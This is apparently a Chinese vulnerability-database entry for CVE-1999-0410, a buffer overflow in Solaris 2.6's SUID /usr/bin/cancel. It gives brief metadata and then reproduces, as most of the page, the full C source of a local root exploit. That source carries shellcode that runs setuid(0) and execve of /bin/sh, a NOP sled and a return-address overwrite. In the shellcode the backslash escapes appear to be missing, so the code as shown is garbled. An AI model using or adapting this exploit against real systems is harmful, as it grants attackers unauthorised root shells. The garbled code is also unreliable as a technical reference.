Solaris取消漏洞

Solaris取消漏洞

漏洞ID 1105426 漏洞类型 缓冲区溢出
发布时间 1999-03-05 更新时间 2005-05-02
图片[1]-Solaris取消漏洞-安全小百科CVE编号 CVE-1999-0410
图片[2]-Solaris取消漏洞-安全小百科CNNVD-ID CNNVD-199903-027
漏洞平台 Solaris CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/19234
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-199903-027
|漏洞详情
Solaris2.6(i386)的取消命令存在缓冲区溢出漏洞。本地用户可以利用该漏洞访问根目录。
|漏洞EXP
/*
source: http://www.securityfocus.com/bid/293/info

A buffer overrun condition was discovered in Solaris 2.6 X_86 in /usr/bin/cancel. This buffer overflow is apparently present in the SPARC version as well although it is thought to be unexploitable. Previous versions of Solaris did not ship with /usr/bin/cancel as SUID root, so while the buffer overflow was present it was harmless. Solaris 7.0 fixes this problem by changing the vulnerable function call. 
*/

/**
*** cancelex - i386 Solaris root exploit for /usr/bin/cancel
***
*** Tested and confirmed under Solaris 2.6 (i386)
***
*** Usage: % cancelex hostname [offset]
***
*** where hostname is the name of a host running the printer service on
*** TCP port 515 (such as "localhost" perhaps) and offset (if present)
*** is the number of bytes to add to the stack pointer to calculate your
*** target return address; try -1000 to 1000 in increments of 100 for
*** starters.
***
*** Cheez Whiz
*** [email protected]
***
*** February 25, 1999
**/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BUFLEN 1031
#define NOP 0x90

char shell[] =
/* 0 */ "xebx3b" /* jmp springboard */
/* syscall: */
/* 2 */ "x9axffxffxffxffx07xff" /* lcall 0x7,0x0 */
/* 9 */ "xc3" /* ret */
/* start: */
/* 10 */ "x5e" /* popl %esi */
/* 11 */ "x31xc0" /* xor %eax,%eax */
/* 13 */ "x89x46xc1" /* movl %eax,-0x3f(%esi) */
/* 16 */ "x88x46xc6" /* movb %al,-0x3a(%esi) */
/* 19 */ "x88x46x07" /* movb %al,0x7(%esi) */
/* 22 */ "x89x46x0c" /* movl %eax,0xc(%esi) */
/* setuid: */
/* 25 */ "x31xc0" /* xor %eax,%eax */
/* 27 */ "x50" /* pushl %eax */
/* 28 */ "xb0x17" /* movb $0x17,%al */
/* 30 */ "xe8xdfxffxffxff" /* call syscall */
/* 35 */ "x83xc4x04" /* addl $0x4,%esp */
/* execve: */
/* 38 */ "x31xc0" /* xor %eax,%eax */
/* 40 */ "x50" /* pushl %eax */
/* 41 */ "x8dx5ex08" /* leal 0x8(%esi),%ebx */
/* 44 */ "x53" /* pushl %ebx */
/* 45 */ "x8dx1e" /* leal (%esi),%ebx */
/* 47 */ "x89x5ex08" /* movl %ebx,0x8(%esi) */
/* 50 */ "x53" /* pushl %ebx */
/* 51 */ "xb0x3b" /* movb $0x3b,%al */
/* 53 */ "xe8xc8xffxffxff" /* call syscall */
/* 58 */ "x83xc4x0c" /* addl $0xc,%esp */
/* springboard: */
/* 61 */ "xe8xc8xffxffxff" /* call start */
/* data: */
/* 66 */ "x2fx62x69x6ex2fx73x68xff" /* DATA */
/* 74 */ "xffxffxffxff" /* DATA */
/* 78 */ "xffxffxffxff"; /* DATA */

char buf[BUFLEN+1];
char *egg;
unsigned long int esp, nop;
long int offset = 0;

unsigned long int
get_esp()
{
__asm__("movl %esp,%eax");
}

void
main(int argc, char *argv[])
{
int i;

if (argc < 2) {
printf("usage: %s hostname [offset]n", argv[0]);
return;
}

esp = get_esp();

if (argc > 2)
offset = strtol(argv[2], NULL, 0);

if (argc > 3)
nop = strtoul(argv[3], NULL, 0);
else
nop = 933;

memset(buf, NOP, BUFLEN);
memcpy(buf+nop, shell, strlen(shell));
for (i = nop+strlen(shell); i <= BUFLEN-4; i += 4)
*((int *) &buf[i]) = esp+offset;

if ((egg = (char *) malloc(strlen(argv[1])+1+BUFLEN+1)) == NULL) {
printf("malloc failed!n");
return;
}
snprintf(egg, strlen(argv[1])+1+BUFLEN+1, "%s:%s", argv[1], buf);

printf("jumping to 0x%08x (0x%08x offset %d) [nop %d]n",
esp+offset, esp, offset, nop);
execl("/usr/bin/cancel", "cancel", egg, NULL);
/* execl("/usr/ucb/lprm", "lprm", "-P", egg, NULL); */

printf("exec failed!n");
return;
}
|参考资料

来源:BID
名称:293
链接:http://www.securityfocus.com/bid/293

相关推荐: RobotFTP Server Remote Pre-authenticated Command Denial Of Service Vulnerability

RobotFTP Server Remote Pre-authenticated Command Denial Of Service Vulnerability 漏洞ID 1098885 漏洞类型 Failure to Handle Exceptional C…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享